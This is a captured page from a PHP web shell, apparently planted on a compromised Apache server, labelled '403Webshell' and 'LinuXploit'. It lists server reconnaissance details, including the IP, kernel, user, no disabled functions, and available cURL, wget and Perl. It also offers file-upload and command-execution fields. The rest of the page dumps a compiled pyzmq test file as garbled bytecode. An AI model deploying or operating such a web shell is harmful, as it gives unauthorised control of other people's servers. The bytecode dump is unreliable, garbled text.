403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/zmq/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/zmq/tests/__pycache__/test_mypy.cpython-311.pyc
�

mc�c����dZddlZddlZddlmZmZmZddlZddlZej	d��ej
�ej��Z
d�Zed��Zed��Zd�Zej
�e��rd	�eje��D��Zej�ej
�e��d
���ej�de��d
�����Zej
�e��rd�eje��D��Zej�de��d���ZdS)z
Test our typing with mypy
�N)�PIPE�STDOUT�Popen�mypyc���tj�tj�t��|��}tj�|��s|}|S)z�Resolve a dir in the repo

    Resolved relative to zmq dir

    fallback on CWD (e.g. test run from repo, zmq installed, not -e)
    )�os�path�join�dirname�zmq_dir�exists)r	�
resolved_paths  �5/usr/lib/python3/dist-packages/zmq/tests/test_mypy.py�resolve_repo_dirrsJ���G�L�L������!9�!9�4�@�@�M��7�>�>�-�(�(���
����examples�
mypy_testsc��ttjddgt|��ztt
���}|���\}}|�dd��}t|��|j	dks
J|���dS)zFRun mypy for a path

    Captures output and reports it on errors
    z-mr)�stdout�stderr�utf8�replacerN)
r�sys�
executable�listrr�communicate�decode�print�
returncode)�	mypy_args�p�o�_�outs     r�run_mypyr%$s���
	�	���v�&��i���8��f�	�	�	�A�
�=�=�?�?�D�A�q�
�(�(�6�9�
%�
%�C�	�#�J�J�J��<�1����c�����rc��g|]F}tj�tj�t|�����D|��GS�)rr	�isdirr
�examples_dir)�.0�ds  r�
<listcomp>r,3sL�����
�
�7�=�=�����l�A�6�6�7�7��	���rz!only test from examples directory)�reason�examplec�p�tj�t|��}t	d|��dS�Nz--disallow-untyped-calls)rr	r
r)r%)r.�example_dirs  r�test_mypy_exampler2:s0��
�'�,�,�|�W�5�5�K��
'��5�5�5�5�5rc�<�g|]}|�d���|��S)z.py)�endswith)r*r!s  rr,r,Ds)��G�G�G��Q�Z�Z��5F�5F�G�!�G�G�Gr�filenamec�l�tdtj�t|����dSr0)r%rr	r
�mypy_dir)r5s r�	test_mypyr8Gs)���
'�����h��)I�)I�J�J�J�J�Jr)�__doc__rr�
subprocessrrr�pytest�zmq�importorskipr	r�__file__rrr)r7r%r
�listdirr�mark�skipif�parametrizer2rr8r'rr�<module>rCs�����
�	�	�	�
�
�
�
�*�*�*�*�*�*�*�*�*�*�
�
�
�
�
�
�
�
����F����
�'�/�/�#�,�
'�
'����� ��
�+�+����L�)�)��"�"�"��7�>�>�,���������L�)�)����H�����
����|�$�$�$�-P���������H�-�-�6�6�.�-���6�
�7�>�>�(���H�G�G�Z�R�Z��1�1�G�G�G�J������Z�0�0�K�K�1�0�K�K�Kr

Youez - 2016 - github.com/yon3zu
LinuXploit